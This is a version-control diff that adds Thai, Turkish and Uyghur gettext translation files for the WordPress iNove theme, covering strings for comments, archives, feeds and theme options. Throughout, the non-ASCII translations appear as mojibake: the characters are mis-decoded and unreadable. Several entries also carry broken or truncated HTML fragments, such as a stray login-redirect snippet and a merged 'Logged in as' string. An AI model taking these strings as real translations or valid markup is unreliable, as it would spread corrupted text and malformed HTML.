+ +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Feed" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "ปรับà¹à¸•่ง feed " + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "อีเมล์ feed" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "บันทึà¸à¸à¸²à¸£à¹€à¸›à¸¥à¸µà¹ˆà¸¢à¸™à¹à¸›à¸¥à¸‡" + +#: functions.php:567 +msgid "Reply" +msgstr "ตอบ" + +#: functions.php:568 +msgid "Quote" +msgstr "ข้อคิด" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "à¹à¸à¹‰à¹„ขขั้นสูง" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "ความเห็นของคุณà¸à¸³à¸¥à¸±à¸‡à¸£à¸­à¸à¸²à¸£à¸•รวจสอบ" + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "à¹à¸à¹‰à¹„ขลิงà¸à¹Œ" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "รับข่าวสารบล็อà¸à¸™à¸µà¹‰" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "รับข่าวสารด้วย" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "รับข่าวสารบล็อà¸à¸™à¸µà¹‰à¸œà¹ˆà¸²à¸™à¸­à¸µà¹€à¸¡à¸¥à¹Œ..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "อีเมล์ feed" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "ไปที่หน้าà¹à¸£à¸" + +#: single.php:7 +msgid "Home" +msgstr "หน้าหลัà¸" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/tr_TR.mo Binary file web/wp-content/themes/inove/languages/tr_TR.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/tr_TR.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/tr_TR.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:07+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - yazılar" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - yorumlar" + +#: 404.php:22 +msgid "Talker" +msgstr "konuÅŸkan" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "404 hata sayfasına hoÅŸgeldiniz!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "düzenlenmiÅŸ olan bu hata sayfasına hoÅŸgeldiniz.bu sayfayı görüyorsunuz çünkü tıkladığınız link çalışmıyor.bu bir hata olabilir...ancak bu düzeltilemeyeceÄŸini göstermez, yani ÅŸu anda gördüğünüz hata sayfası burada neyin yanlış olduÄŸu hakkında bilgi sahibi olunması amacıyla yaratılmıştır ve okurların daha iyi bir içeriÄŸe ulaÅŸmasında yardımcı olmaktadır." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "yapabilecekleriniz; (1) tarayıcınızın menüsünden geri tuÅŸuna basarak bir önceki alana dönebilirsiniz. (2) burdaki linke tıklayarak ana sayfaya ulaÅŸabilirsiniz." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "ana sayfaya dön »" + +#: archive.php:10 +msgid "Search Results" +msgstr "arama sonuçları" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "kelime: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "arÅŸiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "‘%1$s’ kategorisi için arÅŸiv" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "yazılar buna göre etiketlendi; ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s için arÅŸiv" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "l, d M Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "I, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "yazar arÅŸivi" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "blog arÅŸivi" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "düzenle" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "yorum yok" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 yorum" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% yorum" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "devamını oku..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "üzgünüm, aramanıza uygun içerik bulunamadı." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "yeni yazılar" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "eski yazılar" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "yorum ekle" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "yorumlara git" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "yorumları görmek için parolayı girin." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "yorumlar" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "geribaÄŸlantılar" + +#: comments.php:34 +msgid "Trackback" +msgstr "geri baÄŸlantı" + +#: comments.php:58 +msgid "No comments yet." +msgstr "ÅŸimdilik yorum yok." + +#: comments.php:72 +msgid "Comment pages" +msgstr "yorum sayfaları" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s zamanında %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "ÅŸimdilik geri baÄŸlantı yok" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "yorumlar kapalı." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "yorum yapabilmek için /wp-login.php?redirect_to=\">giriÅŸ yapmalısınız" + +#: comments.php:150 +msgid "Logged in as" +msgstr "%s
    ." +msgstr "tekrar hoÅŸgeldiniz %s." + +#: comments.php:158 +msgid "Change »" +msgstr "deÄŸiÅŸtir »" + +#: comments.php:159 +msgid "Close »" +msgstr "kapat »" + +#: comments.php:166 +msgid "Name" +msgstr "isim" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(gerekli)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "e-posta (gösterilmeyecek)" + +#: comments.php:174 +msgid "Website" +msgstr "web adresi" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "yorum akışına abone olun" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "yorumu gönder" + +#: footer.php:17 +msgid "Top" +msgstr "üst" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "arayüz NeoEase. geçerli XHTML 1.1 and CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "bazı arayüz ayarları" + +#: functions.php:194 +msgid "Search" +msgstr "arama" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "google custom search engine kullan." + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "menü" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "sayfaları menüde göster." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "kategorileri menüde göster." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "bildirim." + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML etkin" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "bu bildirim kutusu sayfada yazıların üstünde gösterilir." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "kimler görebilir ?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "kayıtlı kullanıcılar" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "yorumcular" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "ziyaretçiler" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "bildiri kutusu" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "bu bildiri kutusu sayfadayan menünün üstünde gösterilir." + +#: functions.php:329 +msgid "Title:" +msgstr "baÅŸlık:" + +#: functions.php:345 +msgid "Posts" +msgstr "yazılar" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "yazar yazılarda göster" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "kategorileri yazılarda göster" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "etiketleri yazılarda göster." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "akış" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "ayarlanılabilir akış" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "e-posta akışı." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "ayarları kaydet" + +#: functions.php:567 +msgid "Reply" +msgstr "yanıtla" + +#: functions.php:568 +msgid "Quote" +msgstr "alıntı" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "ileri derecedeki ayarlar" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "yorumunuz onay için bekletiliyor." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "baÄŸlantıları düzenle" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "bu bloga abone olun." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "bununla:" + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhua Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "bu bloga e-posta ile abone olun..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "e-posta akışı" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "ana sayfaya git" + +#: single.php:7 +msgid "Home" +msgstr "ana sayfa" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ug_CN.mo Binary file web/wp-content/themes/inove/languages/ug_CN.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ug_CN.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ug_CN.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:08+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - ھەممە ماقالە" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - ھەممە ئىنكاس" + +#: 404.php:22 +msgid "Talker" +msgstr "پاراڭلاچى" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "خاتالىق Ø¨ÛØªÙ‰! 404" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "زىيارەت قىلغىنىڭىزدىن بەكمۇ خۇرسەن بولدۇم، تولىمۇ ئەپسۇس ØŒ سىز چەككەن بۇ ئۇلىنىش ئەمەلدىن قالغان ئۇلىنىش ئوخشايدۇ، ئەلۋەتتە بۇنى بەلكىم Ù…Û•Ù† كەلتۇرۇپ چىققان بولۇشۇممۇ مۇمكىن ،ئامال قىلىپ بۇ ئىشنى توغرا چارە بىلەن چۈشەندۈرۈشكە ØªÛØ±Ù‰Ø´Ù‰Ù…Û•Ù†" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "سىز (a) تور كۆرگۈچتىكى 'قايتىش' كۇنۇپكىسىنى Ø¨ÛØ³Ù‰Ù¾ØŒ بىكەتنىڭ باشقا مەشخۇلاتلىرىنى ئÛلىپ بارسىڭىز بولىدۇ، ياكى (b) بۇ ئۇلىنىشنى Ú†Ûكىپ باش بەتكە قايتسىڭىزمۇ بولىدۇ. " + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "باش بەتكە قايتىش »" + +#: archive.php:10 +msgid "Search Results" +msgstr "ئىزدەش نەتىجىسى" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "ئاچقۇچلۇق سۆز: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "ئارخىپ" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "تۈر ‘%1$s’ نىڭ ئاخىپى" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "يازما خەتكۈچلىرى ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "%1$s نىڭ ئاخىپى" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "Y-يىلى n- ئاينىڭ j- كۈنى" + +#: archive.php:28 +msgid "F, Y" +msgstr "Y يىل n ئاي" + +#: archive.php:31 +msgid "Y" +msgstr "Y يىل" + +#: archive.php:34 +msgid "Author Archive" +msgstr "ئاپتور ئارخىپى" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "بلوە ئارخىپى" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "تەھرىر" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "ئىنكاس يوق" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 ئىنكاس بار" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% ئىنكاس بار" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "داۋامىنى ئوقۇش..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "ئەپسۇس، ماس ÙƒÛلىدىغان ماقالە تÛپىلمىدى" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "ÙŠÛÚ­Ù‰ يازمىلار" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "كونا يازمىلار" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "ئىنكاس ÙŠÛØ²Ù‰Ø´" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "ئىنكاسلارنى ئوقۇش" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "پارولىنىڭزنى ÙŠÛØ²Ù‰Ù¾ ،ماقالىنى ئوقۇڭ" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "ئىنكاسلار" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "ھىچقانداق ئىنكاس يوق" + +#: comments.php:72 +msgid "Comment pages" +msgstr "ئىنكاس لار Ø¨ÛØªÙ‰" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%2$s نىڭ ئارىسىدكى %1$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "trackbacks يوق." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "ئىنكاس ÙŠÛØ²Ù‰Ø´ تاقالغان." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "سىز چوقۇم كىرگەندە ئاندىن ئىنكاس يازالايسىز." + +#: comments.php:150 +msgid "Logged in as" +msgstr "نام شەرىپ:" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "چىكىنىش" + +#: comments.php:151 +msgid "Logout »" +msgstr "چىكىنىش »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ئەسسەلامۇ ئەلەيكۇم , %s" + +#: comments.php:158 +msgid "Change »" +msgstr "ئۆزگەرتىش »" + +#: comments.php:159 +msgid "Close »" +msgstr "يوشۇرۇش »" + +#: comments.php:166 +msgid "Name" +msgstr "نام شەرىپ" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(لازىم!)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "ئÛلخەت ئادرىسى (بۇنى ھىچكىمگە دÛمەيمەن)" + +#: comments.php:174 +msgid "Website" +msgstr "تور ئادرىس" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "ئىنكاسقا مۇشتەرى بول" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "تاپشۇرۇش" + +#: footer.php:17 +msgid "Top" +msgstr "باش" + +#: footer.php:27 +msgid "Copyright © " +msgstr "نەشىر ھوقوقىي © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "قلىپنى NeoEase تەمىنلىگەن, XHTML 1.1 Û‹Û• CSS 3 ئۆلچەملىرىگە مۇتلەق ئۇيغۇن." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ھازىرقى Ù‚Ûلىپ تەڭىشىلىشى" + +#: functions.php:194 +msgid "Search" +msgstr "ئىزدەش" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Google بىلەن ئىزدەش" + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "سەھىپە لىمى" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "بەتنى سەھىپە قىلىپ كۆرسىتىش" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "تۈرلەرنى سەھىپە قىلىو كۆرسىتىش" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "ئۇچۇر" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML ئاكتىپ" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "بۇ ئۇچۇر باش بەتتىكى يازمىلارنىڭ ئۈستىدە كۆرۈنىدۇ." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "كىملەر كۆرەلىسۇن ØŸ" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "تىزىملاتقانلار" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "ئىنكاسچى" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "مۇساپىر" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "روجەك" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "بۇ وجەك يان لىم ئۈستىگە چىقىدۇ" + +#: functions.php:329 +msgid "Title:" +msgstr "تÛمىسى:" + +#: functions.php:345 +msgid "Posts" +msgstr "ماقالە" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "ئاپتورنى كۆرسىتىش" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "تۇرىنى كرسىتىش" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "خەتكىۈچلەرنى كۆرسىتىش" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "مۇشتەرى" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "باشقىدىن Feed" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "ئÛلخەت Feed" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "ئۆزگەرتمىنى ساقلاش" + +#: functions.php:567 +msgid "Reply" +msgstr "قايتۇرۇش" + +#: functions.php:568 +msgid "Quote" +msgstr "نەقىل" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "ئالاھىدە تەھرىرلەش" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "ئىنكاسىڭىز ،تەستىقلاشنى كۈتمەكتە." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "ئۇلىنىشنى تەىرىرلەش" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "بۇ بلوگ نىڭ ماقالىلىرىغا مۇشتەرى بولۇش" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "بىلەن مۇشتەرى" + +#: sidebar.php:28 +msgid "Google" +msgstr " Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "يوۋداۋ" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "شىيەن Ú¯Ùˆ" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "جۇۋا شىيا" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr " My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr " newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr " Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "ئÛلخەت بىلەن مۇشتەرى بولۇش" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "ئÛلخەت مىشتەرى" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "باش بەتكە قايتىش" + +#: single.php:7 +msgid "Home" +msgstr "باش بەت" + +#: 